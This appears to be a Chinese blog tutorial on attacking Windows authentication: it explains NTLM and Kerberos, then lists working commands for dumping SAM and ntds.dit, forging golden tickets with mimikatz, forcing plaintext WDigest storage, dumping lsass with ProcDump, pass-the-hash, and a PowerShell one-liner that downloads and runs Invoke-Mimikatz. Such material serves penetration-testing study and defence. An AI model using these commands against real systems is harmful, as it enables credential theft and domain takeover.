渗透测试之攻击Windows认证

Windows系统存在着两种主要认证方式,它们分别是NTLM和Kerbose

Windows认证机制

Hash存储位置

  • 本机用户:C:\Windows\system32\config\SAM (系统运行时不可访问)
  • 域用户:C:\Windows\NTDS\ntds.dit (系统运行时不可访问)

Widows的两种认证方式

认证方式应用场景类型参与者特点
NTLM主要用于Windows NT及Windows 2000 server及以后工作组环境中Challenge/Response based客户端,服务端,域控
Kerberos主要用于Windows 2000 server 及以后的域环境中Ticket based客户端,服务端,KDC(Key Distribution Center,一般由域控担任)无状态,双向认证

NTLM

LM只适用于小于14个字符的密码,如果大于14个字符则使用NTLM

2000xp2003Vistawin720082012
LM默认默认默认
NTLM大于14字符使用大于14字符使用大于14字符使用默认默认默认默认

当LM Hash是AAD3B435B51404EEAAD3B435B51404EE时有以下三种情况

  • 空密码
  • 大于十四位的密码
  • 故意设置为此值

NTLM认证过程如下所示:
NTLM

Kerberos

Kerberos是基于票据的认证方式,在这种认证方式下客户端想要访问某个服务时必须持有一张票据,但是这张票据不是随便领取的,在获得这张票据之前你首先得有一张认购权证。这种机制让我想起了现实中的一些例子,比如你要参加一个重要会议或者活动时你需要有门票吧,但是为了安全起见你必须首先去公安机关或者有关部门开一张你是良民的证明然后才能拿着这个证明买到参会的门票。Kerberos认证流程大体上可以分为六个步骤,如下图所示:
Kerberos图中一些缩写以及稍后将要用到的缩写的解释如下表所示:

缩写解释
KDCKey Distribution Center,秘钥分发中心,它包括AS及TGS两个服务
ASAuthentication Service,认证服务
TGSTicket Granting Service,票据授权服务
TGTTicket Granting Ticket,认购权证
ADAccount Database,账户数据库,用于存储用户名及对应的密码hash值,这个数据库一般由活动目录维护
STService Ticket,最终的服务票据
LSKLogon Session Key,客户端与KDC之间通信安全的会话秘钥
SSKService Session Key,客户端与服务器之间的通话秘钥

一些总结:

  • Authenticator在Kerberos认证过程中参与了每个环节,在上述1,3,5三个请求过程中它分别被客户端用户密码hash,LSK,SSK进行加密,其在认证过程中起到了标识客户端身份的重要作用。
  • LSK,SSK都是Short Term Key即这种秘钥可能频繁的更换所以就算在交互过程中泄露也不会影响太大,并且这两个秘钥每个都有两份。而用户密码,krbtgt用户密码,服务器密码则属于Long Term Key,因为我们通常不会频繁的变换自己的密码,这也是为什么会出现黄金票据及白银票据攻击方式的原因。
  • AD在上述认证的过程中也几乎参与了每个环节,需要通过它获得第一步中Username对应的密码从而生成加密Authenticator的秘钥从而对Client进行身份验证,还需要通过它获取KDC服务即krbtgt用户角色的密码由于加密TGT,最后还需要通过它获取Server Name对应的密码用于加密ST。
  • 6个步骤中涉及到的加密过程都是对称加密。这六个步骤可以进一步的分为三个子协议
子协议步骤
Authentication Service Exchange1(KRB_AS_REQ),2(KRB_AS_REP)
Authentication Service Exchange3(KRB_TGS_REQ),4(KRB_TGS_REP)
Client/Server Exchange5(KRB_AP_REQ),6(KRB_AP_REP)
  • Kerberos协议是双向认证的,在完成上述六个步骤后服务器会把步骤六中提取出来的Authenticator中的时间戳提取出来然后通过SSK加密传回给客户端客户端通过比较时间戳是否一致从而达到验证Server身份的目的。

Kerberos认证协议相对于NTLM来说安全性有了不少的提高,但是Kerberos还不是牢不可破的,常见的对于Kerberos的攻击方式如下表所示:

漏洞名称着力点权限限制
黄金票据KRBTGT角色的密码hash(上图第2步)Kerberos服务权限
白银票据Service 角色的密码hash(上图第5步)指定的服务访问权限在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性。

When?Which?

Windows下存在NTLM及Kerberos两种认证方式,那么问题来了具体什么时候用NTLM认证,什么时候用Kerberos认证?这个问题真的是困扰人找了半天也没找到准确的资料,只找到了下面这张表:

Local UserLocal SystemDomain UserDomain Machine
Local UserNTLMNTLMNTLMNTLM
Local SystemAnonymous NTLMAnonymous NTLMAnonymous NTLMAnonymous NTLM
Domain UserNTLMNTLMKerberosKerberos
Domain MachineNTLMNTLMKerberosKerberos

观察上表其实总结来说就是前面提到的NTLM用于工作组环境下的认证,而Kerberos用于域环境下的认证。

参考
Windows安全认证是如何进行的?[Kerberos篇]
谈谈基于Kerberos的Windows Network Authentication系列

攻击Windows认证

卷影拷贝服务及快照技术

在前面提到过SAM文件及NTDS.dit文件在开机状态下都是被锁定的不能直接访问,那么渗透测试环境下如何将这两个文件拿出来分析呢?既然有困难,那就肯定会有解决困难的方法,像Windows下提供的卷影拷贝(Volume Shadow Copy Service,VSS)、快照(snapshot)等用于文件备份及恢复的工具就可以为我们解决这个问题。既然SAM及NTDS.dit文件没办法直接访问,那么不如为其创建一个备份然后访问这些备份文件不也是一样吗?!所以像VSS等具有文件备份功能的工具就可以在我们离线分析SAM及NTDS.dit等文件时提供巨大的帮助。

域环境下

离线分析

域环境下在进行离线分析时需要导出ntds.dit及SYSTEM.hiv两个文件,SYSTEM.hiv导出方法如下:

reg  save hklm\system  system.hiv
导出ntds.dit
ntdsutil

通过ntdsutil获得导出ntds.dit,需要管理员权限,具体操作如下图:
ntdsutil非交互式自动化脚本如下所示:

set ws=wscript.createobject("wscript.shell")
set ret = ws.exec ("ntdsutil snapshot ""activate instance ntds"" create quit quit")
strText = ret.StdOut.ReadAll()
Set regEx = New RegExp
regEx.Pattern = "(\{[a-z0-9\-]*\})"
Set Mathces = regEx.Execute(strText)
For Each Match in Mathces 
     GUID = Match.value
Next
set ret = ws.exec ("ntdsutil snapshot ""mount "& GUID&""" quit quit")
strText = ret.StdOut.ReadAll()
regEx.Pattern = "([A-Z]:\\\$.*\$)"
Set Mathces = regEx.Execute(strText)
For Each Match in Mathces 
     MOUNT_POINT =  Match.value
Next
set so=createobject("scripting.filesystemobject")
so.getfile(MOUNT_POINT&"\windows\ntds\ntds.dit").copy("C:\ntds.dit") 
ws.run("ntdsutil snapshot ""unmount "&GUID&""" ""delete "&GUID&""" quit quit")
vss
方法1:vshadow

需要管理员权限
vshadow

方法2:vssown.vbs

需要管理员权限

cscript vssown.vbs /start
cscript vssown.vbs /create C
cscript vssown.vbs /list
copy (替换为Device Object的值)\windows\ntds\ntds.dit .
copy (替换为Device Object的值)\windows\system32\config\system .
cscript vssown.vbs /delete *

vssown

分析ntds.dit
QuarksPwDump.exe

quarkspwdump

DSInternals

Powershell版本:> = 3
以管理员身份运行

Import-Module .\DSInternals
Get-Module DSInternals
Get-Command DSInternals
$key = Get-BootKey -SystemHivePath 'C:\system.hiv'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Out-File hash.txt
ntdsdump

ntdsdump

Impact/secretsdump.py

secretsdump.pyhash1

NTDSXtract + libesedb

配置过程
ntdsxtract

攻击手段

Pass The Ticket

得到client的密码hash

黄金票据
  • 得到krbtgt用户的密码NTLM hash

krbtgt_ntlm

  • 获得域名
    域名
  • 获得域管理员名
    域管理员
  • 获得域的SID
    域SID
    具体命令:
kerberos::golden  /admin:administrator  /domain:centoso.com  /sid:S-1-5-21-3085454607-3860466549-2764522924  /krbtgt:73556f2326c419362a3a6c79a07ef582 /ptt

golden_ticket

白银票据

得到服务器的密码hash

Skeleton Key

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。

dcsync获取任意用户hash

需要域管理员权限上下文

单主机下

获取内存中的NTLM Hash

Windows 8.1 之后添加了安全机制阻止mimikatz通过WDigest provider提取明文密码,8.1之前的老版本可以通过安装KB2871997补丁来添加相应的安全机制。这个安全机制依赖于注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestUseLogonCredential关键字的值:

  • 值为1时:允许将登陆密码明文存储在lsa内存中
  • 值为0时:禁止将登陆密码明文存储在lsa内存中

需要注意的是UseLogonCredential键在HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest 并不现显式存储,在Windows 8.1系统中此键默认值为0,而在打了相应补丁的老版本系统中此字段默认值为1,所以渗透测试过程如果由于此安全机制导致mimikatz抓不到明文密码则可通过下面的命令更改注册表的值(此值修改后只有用户在此登录时才会存储明文)来时系统存储明文密码:

线上分析
mimikatz
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

交互式抓取:

privilege::debug
sekurlsa::logonpasswords

将抓取结果存储在文件中:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > pssword.txt

通过Powershell调用Mimikatz:

PowerShell.exe -ExecutionPolicy Bypass -NoProfile -Noninteractive -c "IEX (New-object Net.webclient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

powershell_mimikatz

Get-PassHashes.ps1

管理员权限运行
Get-PassHashes.psq

getpass
  • Windows2008 x64 执行失败
  • Windows2003 x86执行成功
    getpass
离线分析
sam

lsadump::sam SYSTEM.hiv SAM.hiv

ProcDump+Mimikatz

此方法在进行离线分析时需要分析平台与目标平台兼容
Procdump是一款dump进程内存的工具,其经常与Windbg联合使用用于分析程序bug,不过结合其与Mimikatz可以获取用户的登录凭证。具体思路是首先通过ProcDump获取lsass.exe的运行内存,lsass.exe用于本地安全和登陆策略,所以他的内存中存在用户的登录凭证信息,然后使用Mimikatz分析dump出的文件从而获取用户的凭证信息,具体操作流程如下:

psexec.exe \\10.0.0.3 -w C:\ -c C:\\ProcDump\procdump64.exe -accepteula -ma lsass.exe dump.dmp
copy \\10.0.0.3\C$\dump.dmp C:\lsass.dmp
Mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full"  exit > password.txt

procdump+mimikatz

攻击手法

WCE hash注入

hash注入攻击

PTH

sekurlsa::pth /user:Administrator /domain:test.local
/ntlm:cc36cf7a8514893efccd332446158b1a

各种票据攻击

总结

Mimikatz是Windows认证攻击中功能最为强大的工具,关于它的详细介绍可以参考这篇文章

未看

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值